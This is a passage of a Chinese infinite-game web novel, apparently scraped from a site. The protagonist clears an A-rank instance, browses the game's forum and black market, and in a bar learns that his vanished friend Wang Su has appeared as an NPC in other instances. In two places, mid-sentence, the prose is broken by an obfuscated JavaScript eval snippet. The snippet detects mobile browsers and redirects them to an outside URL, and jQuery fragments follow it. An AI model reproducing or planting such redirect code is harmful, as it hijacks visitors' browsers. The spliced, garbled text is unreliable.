章佟想起自己曾在餐厅无意说出的话,下一秒,她被一道力量重重拖拽,跳起的怪物从她身边擦过,紧接着一声枪响,子弹命中怪物的双腿,怪物被子弹的冲击力击打出去,踉跄着倒在尸体旁边。 江其深被这利落的反应惊住,几秒后意识到时光这么做的原因—— 凶手是山庄主人,可山庄主人在哪儿? 怪物嗅到血气,大口大口咀嚼尸体,随着进食,它的身体也在发生着变化,模样越来越接近人的形态,甚至生出金色的头发,怪异的骨骼逐渐收缩,直至最后,变成一个成年男子的模样。面容和卷宗受害者里的山庄主人老约翰极为相似,但是比他更年轻,更健硕。 从腐烂的碎裂尸块,到长出人类的骨头,到一步步进化成人。“……这就是日记中记载的重生,是老约翰追求的永生。” 不是返老还童、起死回生,而是借怪物的身体复活,获得新的生命。 江其深意识到这点是因为地下室的线索提示,而时光能反应如此迅速,则是因为过的副本太多,对游戏的调性熟练到了一定程度。虽然她没有说过,但江其深觉得她是S级玩家,才会对这种A级副本如此驾轻就熟。在听到江其深提示的第一时间,就把这条线索和怪物吃人联系起来,当机立断地选择给即将蜕变成的怪物投喂尸体。 进食完毕,怪物的身体蜕变成人类的样子,神智恢复,摇摇晃晃站起身,眼中闪烁着贪婪的光。 “晚上好,我的食物们——” 后半段话被子弹呼啸声吞没,时光没给他反应的机会,果断扣动扳机。 【当前装弹模式:炸裂弹】 子弹穿过山庄主人的额头,“轰”地一声巨响,滚烫的热浪迎面扑来,视野骤然黑下去,同时涌入视野的,是金色的游戏框。 【恭喜玩家通关副本《一二三木头人》 副本通关人数:3人 通关玩家:时光(杀死山庄悬案的真凶) 章佟(杀死副本终极boss) 江其深(活到游戏结束) 您的通关奖励结算:积分20万 A级道具一件 奖励已发放,请注意查收】 黑暗褪去,江其深身体晃了晃,发现自己站在家园系统的小公寓中。墙上的时钟指向九点,距离他进本才过了十分钟。 接着第二个弹窗跳出。 【恭喜玩家等级升至A级,解锁对应玩家权限,开启玩家人物面板数值 因您堪称坐火箭一般的晋级速度,解锁称号:锐不可当,进入新手玩家榜排行第一,获得相应声望值】 江其深检查了一下游戏面板,奖励已经发放到帐。一口气从E级玩家升到A级玩家,他解锁了大量玩家权限,商城90%的商品和页面对他完全开放,虽然部分道具因为积分不足无法购买。背包的格子升到无限数量,此外还解锁了黑市交易资格和论坛的高级玩家板块,以及最诱惑人的——心愿单页面。 心愿单的页面简单干净,只有一行待输入的空白横线,好像在暗示玩家,这里可以输入任何字,一切欲|望都是被允许的。 横线下方是确认按键,按键是灰色的,显示需要S级玩家才能开启。 这就是无数人对这款游戏趋之若鹜的原因吧。 江其深在这个页面停了很久,许多熟悉的面容在空白横线上浮现又消失,原本遥不可及的渴望,缩短到只有一行字的距离。 说不动心是假的。 默默想了一会儿,江其深关闭页面。 欲|望这个东西,一旦有了实现的途径,就会一发不可收拾。开启页面前,他只想回到孤儿院的时光,想复活自己的亲人朋友。但面对空白横线的这一刻,他忽然萌生出其他的想法——想要亲情,其实也可以兑换一个完整的家庭吧? 拥有父母是一种什么感觉? 拥有独属他一人的、无条件的爱是什么感觉? 江其深想象不出来,这个念头就像一个黑洞,要把他整个人吸进去。他匆忙关闭页面。及时打住。 “胡思乱想……”他一边这么说着,脑子里却控制不住地冒出许多画面。为了转移注意,他点开论坛。 A级玩家解锁了新的论坛板块,分别是悬赏板块、匿名交易板块、高玩交流板块。 悬赏板块自不必说,排行榜第一名赫然列着时光的大名,几分钟没见的功夫,赏金好像又多了一个零。 江其深想起时光曾对排行榜做出的评价:“我赏金高是因为我心慈手软,不爱屠玩,手下跑出去的活口多,仇家多,他们众筹抬我身价唉!像溶尸人那种玩家,越是心狠手辣身价反而越低,因为仇家都死光啦,没人出钱悬赏他们啊!” 这很难讲。看着跳动的数字,江其深觉得这个身价还是有时光自己努力的部分的,不能全归功于仇家。 悬赏板块下设“委托公告”的子板块,这个版块的内容就复杂了。有重金求购副本情报和道具的,有找高玩求带的,甚至还有在副本里被npc欺负了,出价求其他玩家帮自己报仇的——啊?什么?还有这种委托? 江其深一头黑线退出悬赏板块,点开高玩交流板块。 这是B级以上玩家才能解锁的板块,没有新人全是老手,讨论的内容一定比新手区更有营养,必须得认真看才行,江其深坐直腰,忐忑又敬畏地点进板块,迎面一个标题轰得他大脑死机。 【江其深是谁啊?谁知道他怎么一夜之间窜到新手玩家榜第一的??他黑玩吧?!】 【好恐怖的晋级速度……我当初从E级到A级花了近一年的时间,过了上百个本才敢开A级副本,就这样我亲友还说我晋级很快】 【查了下他的数据,就过了一个副本。新手玩家开局挑战A级副本啊??不黑玩说不过去,哪个常规玩家这么有胆的?】 【我升C级就升了一年……新手玩家没道具没技能,他怎么过的A级副本??靠抱大腿吗?A级副本的老油条哪个会给他抱大腿啊??】 【这数据绝对有问题,是黑玩想刷声望数据造假了吧?谁举报给监察一下】 【是啊是啊,谁举报一下,我不敢】 【我也不敢,监察好恐怖】 【这种焦点位置的玩家,不用举报监察也会查的,坐等结果咯】 【这么明显反而不可能是黑玩,黑玩不会傻到把自己搞成焦点吸引监察注意。应该就是单纯运气好吧,以前也不是没有这样的玩家。但是怎么说呢,运气这个东西总有用光的一天~】 【这个游戏里,追求升级速度绝对是自寻死路。前期多过本,虽然会花费很多时间,但是也可以积攒道具、积分和经验,下高级本会更有保障。新手开局进高级本和自杀没区别,高级副本里的玩家个个身经百战,就算没技能也会有绑定道具,新手进去就是送】 【楼上说的没错,这纯纯狗运了】 【是啊,之前也有开局挑战A级本的,狗运通关之后真以为自己能力强的不行,紧接着就去挑战S级,然后就毫无意外死在里边咯。我泡了个泡面的功夫,人就消失了。】 【哈哈江其深可能会活的比这个帖子还短】 【先点一根蜡】 江其深停在页面最后一栏,没有翻第二页,也没有回复帖子。楼里的玩家还在热火朝天的猜测,他默默退了出去。 他明明是充分利用资源——监察也是一种资源嘛。 不知道这些玩家怎么这么怕监察,明明挺好用的。 但是帖子也提醒他了,他手头的道具和积分太少,游戏经验不足,下S级副本有很大的风险,得多下几个A级副本攒攒经验,寻摸点保命的道具。 他点开匿名交易板块。 匿名交易板块又称黑市,这个板块里都是副本掉落的道具交易,还有做道具升级和改良的店铺,都是玩家开设的。江其深仔细浏览了一下,他本以为自己的20万积分已经脱贫了,却发现在这里好像连根毛都买不起。 A级道具百万起步,S级道具有价无市,就连一条C级副本的情报都至少要八十万。倾尽他全部家财也买不起一个包装盒。 罢了,还是去盲盒区碰碰运气吧。 盲盒区是黑市板块下属的一个子分区。这里的道具和其他道具不同。大部分道具出自哪个副本,就是什么等级。就像江其深手里的道具,出自A级副本,道具属性就是A级,功能和作用都标注的十分清楚,放在市场上就是百万起步的价格,童叟无欺。 而盲盒区的道具都是没有标注等级和功能的道具,有的是副本中的npc随机掉落的,有的是几个低级道具合成的新道具,有的是改造失败的产品。不使用无法知道具体功能,属于上限够高下限够低,能开出什么东西纯看个人运气。 没钱的人就只能看运气。 他翻了翻盲盒板块的页面,筛选出价格在20万积分以下的道具,原本多到省略号的页码缩成了三页。 ……居然连盲盒都没有多少在20万积分以下的吗??? 他滑动页面,浏览盲盒,有鼠标、猫食盆、燕尾夹、自行车轮……自行车轮是什么??怎么还有塑料吸管和苍蝇拍??? 商品只有样式和价格,没有名称和信息,把价格一挡,江其深以为自己来到了跳蚤市场,在这里甚至能看到分层的椰汁、保温杯盖(没有杯子)和剃了毛的猕猴桃。 想破脑袋也想不出秃猕猴桃能有什么功能,让boss看见之后活活笑死吗? 江其深反复扒拉三个页面,哪个商品都不想点,但又不死心想碰碰运气,最后在一片裂成两半的镜子和没有笔尖的水彩笔间犹豫了一下,选择了18万积分的镜子。 裂开的镜子也是镜子,好歹能照个影呢,比水彩笔便宜一万积分算它最大的优势吧。 点击交易,裂镜道具收入背包,兜里还剩两万积分,江其深退出黑市,点开商城。 更新后的商城终于不再是一片灰色,商品琳琅满目,不仅有手电筒、打火机、雨衣这类日常用得着的普通道具,还有增加玩家属性的特殊道具。 江其深的目光停留在一个黑色发绳上。 【商品名称:发圈 功能:加强玩家30%的耐力】 江其深摸摸自己的头发,他的头发在男生里算是长的,勉强可以扎起来一个小揪揪。加强30%的耐力实在令人心动,万一下个副本是大逃杀之类的,耐力不够岂不是逃命都逃不掉?要买的要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17529134|203659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 买的。 买了发圈,江其深的注意力又被一旁的菠菜罐头吸引住。 【商品名称:菠菜罐头 功能:服用后增强50%力量,作用可持续至副本结束】 既视感好强的道具……他想起拎小鸡一样把自己给拎起来的时光,果断点击购买。 商城一点进去就出不来,看到什么商品都觉得下个副本可能会用到,江其深努力用理智控制着他的手,告诫自己不能一朝发财就什么都想买,留点积分等到进了副本再按需购买……等等,饮用后可以减轻50%幻觉效果的葡萄汁?这真的不是针对他的技能量身定做的吗?? 购买键点下去,江其深一夜返贫。 游戏里的通货膨胀真厉害……江其深默默整理自己的背包,把道具整齐分类码好。看着整齐的道具,人都安心了许多。 接下来需要挑选下一次进入的副本。系统规定每个月的必刷本等级不得低于玩家当前等级,江其深这个月还要下两个A级以上的本。 “首先排除S级副本,要么再挑几个A级副本……?或者先拿两个B级练练手,一个月时间还长,多攒点低级副本经验也再下必刷本也行……”江其深一边念叨一边点开游戏地图, 论坛里,大家对副本的情报视若珍宝,秘不示人,重金都砸不出来几句不痛不痒的话。 但是并不是只有在论坛里才能获得副本相关的资料。 展开游戏地图,江其深点击A级副本主城区,各类大大小小的功能建筑和设施珠串似的串在街道的绳线上,盘根错节、百转千回,兜成一张纵横交错、经纬万端的蛛网,画卷般舒展开来。 江其深拇指和食指夹着点住某一区域的版图,倏地一张,地图放大得更精细,每一处建筑楼房、店铺巷子,乃至于路灯树木都标注在上头。 他划拉了一会儿地图,手指最终停在城区的酒吧一条街上。 *** 玩家聚集的地方免不了讨论副本相关的话题。而人在喝了酒之后,叫虚晃的霓虹灯和酒意蒙了脑子、麻痹了心智,那根名为理智的弦松弛下来,就顾不得什么可说什么不可说了。 夜色中的A级主城区灯火辉煌,金属质感的高楼大厦铸成一片钢铁森林,悬空建筑浮在月色里,反射冷冷的银色光芒。建筑上的虚拟大屏滚动播放着当前开放的A级副本,一行行陌生的名字和数据游蛇一样从眼前划过。霓虹招牌雨点般洒落大街小巷,在蒙蒙夜雾里阴冷又艳丽地亮着。 江其深站在酒吧一条街前,清洁机器人闪着警示灯从他面前经过,间歇停下来,勤勤恳恳捡起垃圾桶旁的啤酒罐,装进自己肚子里。 如果不说,他会以为这是一座真实的城市。 又或许真实和虚假之间,本没有太清晰的界限。 时间是深夜,正是酒吧最热闹的时候,江其深随便找了家人多的静吧钻了进去,进门前留意了一眼,招牌上写着店名:“Tramonto”。 门上的铃叮铃一响,服务员的眼神滑过来,见到陌生的面孔微微一笑。 江其深找了个靠近吧台的位置落座,面前弹出一块光屏,列出酒吧的菜单。 他点了份火腿奶酪和三明治,江其深酒量不好,不想喝酒,但是进酒吧不点酒太奇怪了,还是酒单上随便选了一杯,请服务生先送上来,当个装饰品放桌子上,漫不经心地听四周的动静。 静吧的一个好处就是没有疯癫的音乐和群魔乱舞的舞池,能听清附近人说话。 低沉的音乐舒缓流动,驻唱歌手的声色如同讲述故事的旅者,在摇荡的琴声中走向没有目的的远方。 “没错吧?这家薯条最好吃……” “妈的尾款还不结,是不是死副本里了?” “……看了呀看了呀,你也看过?哎呀,我最喜欢她的电影了……” “他看起来挺老实的,怎么会做这种事?是不是误会啊。” “……等下回咱们一起去,人多不怕!这群王八蛋!” “我有会员卡啊,你不早说,我借你就是咯!” “他们家货不行,换老板了,做事儿不本分,迟早得倒……” 高高低低、男男女女的说话声收进耳中,对话切片就像无数八竿子打不着的故事选段拼插在一起,没头没尾,颠三倒四。江其深拨动光屏,一副百无聊赖的样子,全神贯注搜寻重点词。 “……你有印象吧?就那个S级副本!” 江其深心里一振,扒拉光屏的手指顿了几秒。声音来自酒吧的角落,在一众宣泄情绪的交谈声中,小心翼翼地像只偷食儿的老鼠,一句话说完,屏息四五秒,才接上下一句,语气略有遗憾。 “听说有玩家屠本,已经被封本了。” 另一道声音接上:“你记错了吧。副本被封存,npc也会一起封掉,怎么会在另一个副本里遇见她呢?” “我不可能记错!就是她!我上一个S级副本差点死了,她捞了我一把,我记忆很深刻,不可能记错!没想到这次在这个S级副本里又遇见,她还记得我!” “副本与副本之间都是独立的,npc怎么会串场呢?何况每次副本重启,npc都会跟着一起重启,就算你们见到过,她也不可能有上一次副本的记忆。” 江其深调整全部注意力聚焦在这两道声线上,忽略的杂音被模糊得失真,空气粘稠晃荡,他的世界里,只剩这两道对话声清晰尖锐。 “我可以对天发誓没骗你,真的是一个人,她还跟我说了她名字!她叫王苏!!!” 13. 第 13 章 最熟悉的名字猝不及防出现,江其深的大脑中断几秒。 那两人争执了一会儿,没吵出头绪,转而去聊最近很火的新副本,又说到哪家的道具改造做的好,哪家太坑了,改的不如不改。 江其深一边听着两人聊自己的道具,一边点开游戏面板,进入悬赏区。 等其中一个男人开始吐槽新绑定的抓钩不如之前的长枪好使时,一条名为“悬赏关于S级副本npc王苏的所有情报”的公告新鲜出炉。 根据江其深的记忆,王苏失踪在屠本的半个月前,没有任何征兆,比人间蒸发还要诡异。一夜之间,所有能够证明这个人存在过的证据全部消失,包括生活痕迹、个人信息和别人的记忆,除了江其深以外,没有任何人记得曾经有过这么个人,学校的同学不记得,老师不记得,孤儿院的院长也不记得。 她凭空消失,仿佛从没出现过。就好像“王苏”这个人只是江其深的幻想,没有任何证据能够证明她的存在。 江其深甚至一度怀疑是不是自己精神出了问题。 但现在,第二个知道“王苏”这个名字的人出现了,并且这人是玩家。这佐证了他的记忆没有问题,或许,王苏的失踪和这款游戏有关。 他发布好悬赏,点的菜也上齐了。这时候谈话的那两个玩家喝的尽兴,一瓶接着一瓶,清空半桌子酒,摇摇晃晃推桌站起来,打算离开酒吧,就觉得肩膀被压了一把,按回座位上。 江其深端着一盘没动的食物,笑眯眯坐了下来:“好巧,又碰见你了啊。” 两个玩家愣住,其中一个迟疑开口:“我们见过?” 江其深微微睁大眼,一副不可思议的样子:“你喝了多少?认不出我了?你仔细想想!当时我们在副本里结伴,我记得你用的是长枪?我当时做清理boss的任务,你帮了我一把,我还说出了副本得请你喝一杯——” 对方见他言之凿凿,一副煞有介事的样子,一时真怀疑起自己来,抓抓头发:“嗨……我这多喝了几杯,看人有点重影儿……”他眯起眼睛好似在努力回忆,“是有点眼熟……” 江其深一副完全不介意的样子拍拍他的肩膀,顺手把自己点的那杯酒放他手边:“出了副本一直没再碰到,难怪你不记得我了。” 能打S级副本的人,少说也过了几百上千个本了,不可能每一场都记得,他现在又喝了酒,记忆模糊、反应迟钝,正是好浑水摸鱼的时候。 江其深说到这,怅惘地顿了顿,好像很失落。 男人脑子一团浆糊,他什么都想不起来,觉得有点不好意思,人家记得你,你不记得人家,多少有点尴尬,他赶紧弥补!道:“你一说我想起来了,你就是……那谁嘛!” 介于最近自己的名字有点热度,江其深捏了个假名:“江流。” “对!小江……” 江其深从容点开菜单,给二人把酒续上,这一桌的酒钱没挂他名下,不扣他的积分,他点起来分外大方,“这回见面,得把约好的酒补上吧?” “补上!补上!”那男人接过酒杯就喝,做出一副要回忆往昔的样子,可惜回忆不起来,转话题道:“最近过得还好啊?” 江其深叹了口气:“不怎么好。” “怎么了?这是碰上啥事儿了?” 江其深忧愁道:“撞鬼了。” 一听这话,两人来了兴趣。无限游戏的系统里当然是没鬼的,虽然副本里头不少,但这话指的肯定不是副本里那种鬼。男人面色涨红,不知是兴奋的还是喝多了:“讲讲、讲讲!” 江其深一脸百思不得其解:“我连续在三个副本里遇见同一个npc了,不是说副本里没有一样的npc吗?是不是系统出bug了?” 男人一拍大腿,冲同伴使个眼色,“你遇见的npc什么样子?” “女生,十七八岁的样子吧,长头发,有点卷……” “是不是一米七左右的身高,看着挺瘦,穿的校服?”男人抢话。 “校服上有启辉中学的校徽。” “对!就她!王苏 !”男人激动地酒都忘了喝,攥着瓶子晃出酒沫儿,眉飞色舞,“看看!我说什么!不可能是我记错!不止我一个人碰见了!” 他的同伴不可置信:“你们撞鬼了吧?” “你是哪个副本里遇见的?”江其深顺势问道。 男人被酒精冲晕脑子,想了好半天,“第一次是在《小镇诡事》,听说最近叫监察给封了,第二次在……《不存在的校规》!” 《小镇诡事》就是江其深和王苏的出生副本,在经历巨斧男人屠本事件后,被府乐天封存江其深是唯一幸存者。她怎么跑到《不存在的校规》里去的?又是什么时候去的? 她是被系统换了一个副本,还是自己穿过去的? 江其深记住这个副本,男人的同伴看上去脸色不太好:“她该不会是黑城里跑出来的吧……” 男人脸色一顿。江其深问道:“什么黑城?” 同伴声音幽幽:“黑城是不存在于地图上的城市。那里没有秩序,一片混乱,是系统存放废弃数据和封存副本的地方,正常玩家无法进入,一旦进去,就再也回不来了。” “等于游戏的回收站?”江其深问道。 “可以这么说,但比回收站更恐怖,”同伴喝的酒不多,存有解释此事的理智,“你想想,我们平时进的副本,就算碰上再恐怖诡异的事儿,背后也有规则可循,有破局的方法。但在那里,不存在这种东西。” “无人监管的地方才最混乱,各种副本混在一起,boss互相吞噬变异,就像一个巨大的养蛊场,你想想,那得成什么样?”男人嗓音低沉,压成一线,“据说,连监察也不愿意踏足那种地方。” 男人极力渲染恐怖的气氛,江其深听到耳朵里,只觉得心里涨涨的难过。 他想到自己的家乡,想到夏天沐浴在金色热浪中的平台,雪糕热化滴到地面上,摔出圆圆的水痕。想到山野环抱的小镇,晴蓝的天空和一团团缓慢游弋的云朵,他能看一整天的云,从云聚到散,城东飘到城西。 应该是回不去了,他想。 “说不定她是玩家,骗你们玩呢。“ “不可能,”男人斩钉截铁,“副本结算名单里没有她。” “仔细讲讲,”江其深给人杯子里填满酒。 男人本就憋着没处说,江其深一递话,当即借着酒劲儿侃侃而谈。 *** 男人名叫赵海东,七年前进的游戏,成为S级玩家两年了,他有个毛病,极好喝酒。 生活在这样的世界里,不知道哪一次进了副本就出不来了,玩家们都是今朝有酒今朝醉。赵海东比别人醉得狠一点,进副本前要喝几天给自己送行,回来后喝几个天给自己庆祝,四舍五入,除了下副本的日子,都泡在酒缸里。因此,花销相当多。每个月除了必下本,还得额外下三四个本维持开销。 这天,赵海东兜里的钱又喝光了,他随便挑了一个S级副本,打算赚个大的,再醉生梦死半个月。 挑中的就是《小镇诡事》。这个副本是阵营本,玩家分为两队,各需要去调查小镇里出现的诡异事件,最先查明所有真相的队伍获得胜利。期间也会面临对方玩家捣乱暗杀使绊子,但有可以信任的队友合作,不需要互相猜忌防备,算是S级里比较简单的副本了。 赵海东第一次遇见王苏,是在对方玩家偷袭,他和队友失散,深更半夜流落山林,遭遇鬼打墙找不到出口的时候。 “当时我急着和队友汇合,一时没留意脚底摔下悬崖,不知道滚到哪里,醒来后就看见身边一堆坟包,怎么走都走不出去,我绕了足足两个小时,一点希望都没有,已经打算放弃的时候,遇到了王苏。” “她穿着校服,站在坟堆前,大晚上的,周边没一盏灯,我来来回回绕了十几遍的路,一回头,手电照出一个人,还以为她是鬼呢!吓得我拔腿就跑,结果她一句话把我定那了。” “她说她是npc,让我别怕,可以带我出去。我当时觉得太诡异了,我这些年,下了千百个本,就没见过npc自称自己是npc的,她说她是npc,我不信。但是再仔细想想,一个逻辑,玩家也不会自称npc啊,所以我跟在她后头走,我想知道她到底是个什么东西。” “我跟着她,隔着七八步的距离吧,她说她是住在附近的学生,看见荒山上有手电闪来闪去,就知道又有玩家来附近做任务了,上来看看有没有能帮着忙的……她说了挺多,告诉我附近还有哪几个任务点,有哪些boss,要怎么对付,听起来真的像个npc。” “跟着她,我绕出了那片鬼打墙,她把我送到山下就消失了。我后来去她说的那几个地方看,任务点真在,boss的弱点也和她说的一模一样,但你们说,哪有游戏的npc知道自己是npc的?” 他说的那座山,江其深也知道,就在孤儿院和学校之间,山上有很多荒坟,王苏喜欢没事儿就往那个地方跑,原来是这个原因。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17529135|203659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “第二次碰见就是三天前,我一个酒友搞到了《不存在的校规》的情报,说是有个法子能让我俩一个阵营,我寻思那感情好啊,和熟人组队比和陌生人组队强,我俩就一起进本了。结果那龟孙,不靠谱,法子不管用,我俩分倒对立的阵营去了!给我气的……” 赵海东说到这有点心虚地瞥了身旁两人一眼,继续大声道:“那没招啊,虽然是朋友,但是游戏事关生死的……我也不能让着他,换了谁都得这样。咳……那鳖孙对我也没留情啊,把我技能道具全告诉他队友了,对面一直针对我打,我就被暗算了。” 江其深听出他藏了话,他对他的朋友应该也没留情,但是和王苏无关,他懒得去评判是非,就没问。 “他们把我坑进了boss的老巢,就在以为自己死定了的时候,王苏又出现了。她一见我就认出来我,就跟冲着我来似的。她说她不熟悉这个副本,帮不了我太多,把老巢的出口指给我,我挺感谢她的,想问问她有什么要帮忙的,毕竟帮两回了,我也不好意思老占人便宜。她说,让我记住她的名字,等下次遇见再说。” 说到这,赵海东万分不解:“哎你们说她这话什么意思?一个副本不能下两回,她说下次遇见,意思是,我们还能在别的本里碰见?她还要到别的副本里去?什么npc可以在各个副本里窜来窜去啊?” 他的同伴羡慕道:“你真是狗屎运,npc都站你那边,什么时候这种好事儿也让我碰上一次啊。” 江其深心里盘算时间。半个月前王苏消失,完全有可能是因为离开了副本——她是通过什么途径离开的?为什么没有告诉自己? 他从小和王苏一起长大,在孤儿院朝夕相处,把彼此当作亲人一样看待,为什么王苏做的这些,他完全不知道? 虽然他从前是不相信王苏的话,但是……他也从没因此嘲笑过她啊。 她失踪后,他着急地跑警局、找学校,因为一点她存在的证据都找不到,他还用拙劣的画技试图把她画出来,发到网上征询线索。唯独没想到……她有可能是自己走的。 心里莫名失落,江其深赌气地喝一口酒,被呛得脸皱成一团,赶紧放下酒杯,吃几口饭压一压。 也不一定是自己走的。江其深又想,说不定是遇到了什么意外,说不定她也在想办法回家呢?一切都得当面问明白。 新一轮酒上桌,两个酒鬼喝的纵情忘我,硬是拉着江其深一起喝,推杯换盏,没有丝毫停手的意思,江其深忙里抽空快速扒完饭,随便找了个借口溜掉,离开酒吧时,已经凌晨三点。夜空零散几粒星子,星子之下是拥挤的人潮,他孤身一人,逆着人流,站在十字街头的斑马线上。 商超上的巨大的电子屏播放着光怪陆离的广告,变换的光线照在江其深身上,人群涌沸声逐渐远去,他忽然觉得这一幕有点熟悉。 好像他在很久很久以前,也曾在这样霓虹交错的街头站着,从车水马龙站到晨曦微亮。 据说很多人都有过这样的时刻,明明是第一次到某个地方,却觉得这里我来过。第一次遇见的人,却觉得好像在哪见过。明明第一次做某件事,却有种强烈的既视感,好像在很久之前的梦里也做过同样的事。 他身披跃动的电子光斑,刺眼的光源照得他大脑一片片空白。真不该喝那口酒。迟钝的念头像被吸进旋涡的鱼,搅得翻身不得。他拖着越来越沉重的脚步往城市的边际走,想要捕捉转瞬即逝的熟悉感,终于还是在宽江大桥边停下脚步。 真是昏头了。他出身的小镇哪来的摩天大楼?一到晚上九点,除了晚自习的学生和巡逻的警察,没有半个人影,更没有亮一整夜的全息广告屏和人头攒动的街道。 下次还是不能喝酒。江其深艰难地转动思维,他都不记得自己最后是怎么回到的家,只记得迷迷瞪瞪、晕晕乎乎、天旋地转间,眼前朦朦胧胧地站着一个人。 那人站在雾气中,雾气被五光十色的灯光渲染得失真,饱和的颜色因雾气流动而闪烁不定,人影站在光和雾的后边,隔得很远,看不清脸,模糊勾勒出一道深色人影。 奇怪的是,影子虽然模糊,但江其深觉得自己知道好像站在那里的是谁,答案浮在嘴边,呼之欲出,却怎么都发不出声音。人影面朝他,也在看着他,一言未发,可他好像知道对方要说什么。 他张开口,拼尽全力,终于发出声音,声带震动发出刺耳爆鸣,把他从梦里猛地拽醒。 刺眼的阳光穿过窗帘的缝隙落在枕畔,窗外天光大亮。 14. 第 14 章 第二次下本的日子安排在一个周末,江其深提前和府乐天发了消息,和他说了一声,他没回,不知在忙什么,江其深带齐道具来到A级副本入口。 无论什么时间,副本入口大厅永远有人,大厅中央的全息光屏滚动着当前开放的A级副本,江其深的目光没有在那些字上停留片刻,他伸手在大屏前虚虚一抓,握成拳,再在自己面前一掷,一道缩小版的相同光屏出现在他面前。 缩小版的光屏上多了一个搜索框,江其深点开搜索框,输入“安全收容”,满屏的A级副本随之一清,界面上只剩下一个名为《安全收容》的副本。 这个副本是他在酒吧连续泡了一星期,好容易多方打探来的情报。据说是阵营本,可以和其他玩家合作,不像上一个副本一样,玩家各自为战。而且npc掉落道具的概率很高,不少人在这个本里获得了自己的第一件绑定道具。 有队友,竞争性低,奖励却依旧可观。欣然成为江其深的首选副本。 【正在进入副本……】 【副本名称:安全收容 参与玩家人数:6人 您的通关任务:帮助己方立场的玩家实现任务目标 奖励:MVP 100万积分,通关玩家50万积分,道具随机分配 Ps:本副本含人物扮演元素,角色设定不会影响玩家原有技能和实力,请放心玩耍吧】 *** “滴……滴、滴、滴……” 细微均匀的节拍声在黑暗里响起,若有若无,仿佛隔着遥远的距离。 听力之后恢复的是嗅觉。空气干净的过分。这种干净是可以闻得出来的,就像被某种强力消毒水狠清洗了一遍,不混杂丝毫人气儿,霸道程度令洁癖安心。一吸鼻子,又冷又湿的空气像一大股水泥灌进鼻腔和喉咙。 生冷、严格、令人不适。 这回送到医院来了?江其深闻着味道忍不住想,他平躺在某个柔软的、类似床铺的地方,等了一会儿,视觉还没有恢复,他失去耐心,直接坐起来。 “咣当!” “哎哟!” 脑门撞上坚硬的物体,直接撞弹了回去,这一下撞得不轻,江其深脑瓜嗡嗡,余震不停,他抱着头侧蜷在床面上,疼得半天说不出来话。 “什么动静……哎哟,江哥,你这是撞脑袋了?哎呦!哈哈哈哈……” 身侧拉开一道光线,滴滴声失去阻隔,清晰地从外边跳进来,江其深晕着脑袋,循声看去,正在狂笑的小伙子约莫二十上下,上身穿着薄软的棉质白短袖,遮不住衣服下鼓鼓的肌肉线条,下身套了一件西服裤,两件极其不搭配。再瞧一眼脚上,这人穿的人字拖,手上还拿着拿着牙刷和漱口杯,乐得乱喷牙膏沫。 借着他开门透进来的光,江其深看清自己身处何方。他在一个棺材似的胶囊床铺里,三面封闭,只有小伙子的那一面有开合的门,空间极其逼仄,连坐起身的余地都没有,和老式绿皮火车的上铺似的。 江其深刚刚就是起身撞上了头顶的钢制天花板,撞得差点脑浆子都摇匀了。 “笑什么笑。”江其深瞪了他一眼,侧身爬出胶囊睡眠仓。 看到这小伙子的同时,相关信息浮现在他脑海里。小伙子名叫周照山,是基地新来的收容官,实习期还没转正,跟在江其深手下做事。据说是他们这一届最出色的“骑士”,各项指标和考试成绩均名列前茅,就是人有点缺心眼——这是他实习这一个月以来,江其深总结出来的。 在上司出丑时在旁边笑得腰都直不起来,江其深觉得缺心眼都不足以形容他。 “不笑了不笑了,江哥,你是睡糊涂了吗?你在基地待了四五年了,怎么早上起床还会撞头啊,”周照山把牙刷塞回嘴里,一边刷牙一边叨叨,“我都没撞过,你也太傻了吧哥。” 没完没了了,江其深捂着脑袋缓了一会儿,没好气儿地回他:“做梦了。你抓紧时间洗漱别磨蹭,这回不能再迟到了。” “我保证!我提前半个小时起的床,时间绝对充足!”周照山自信满满,“我定了八个闹钟就怕起不来……哎呦,又响了。” 他手忙脚乱地咬着牙刷关闹钟,“滴滴”声终于停止。江其深也起床走向洗漱间。他的身后是一整面墙的胶囊睡眠仓,上接天花板,下挨地板砖,排列整齐。粗略一数,足有四五十。有些睡眠仓显示正在使用,有些是空的。 这里是基地的集体宿舍,住的都是像江其深和周照山一样的收容官。他们负责在接到任务时危险物品押送到收容中心储存,收容完成之后,才会回到基地,住回宿舍。经常有人出差,因而宿舍不总是满员。 其实原本宿舍没有这么夸张,刚开始还是两人一间。但随着近些年辐射加剧,“乌鸦”和“骑士”越来越多,辐射物品越来越多,收容官也越来越多,基地的空间开始不够用,宿舍从两人一间到六人一间,到后来干脆打通房间,建立睡眠仓,五十人凑一间,最大程度节省空间资源。当然,居住质量就无法保证了。五十人住一起,磨牙梦游打呼噜且不说,彼此之间的小摩擦也经常有。 收容官作为基地的最底层,没有抗议的资格。 实际上,在这个全球遭遇辐射的时代,能有一处安全的居住地,能一日三餐吃无辐射的食物,已经是奢求中的奢求。没有人会想要抗议。 “哥我准备好了。” 周照山踢掉人字拖,把拖鞋用袋子一装,塞到自己的储物格里。另一边,江其深也换好了制服。 收容官的制服是统一的,由特殊的防辐射面料制成。周照山看着换好制服的江其深,很不正经地打趣:“一样的衣服,怎么你穿起来就这么不一样呢?” 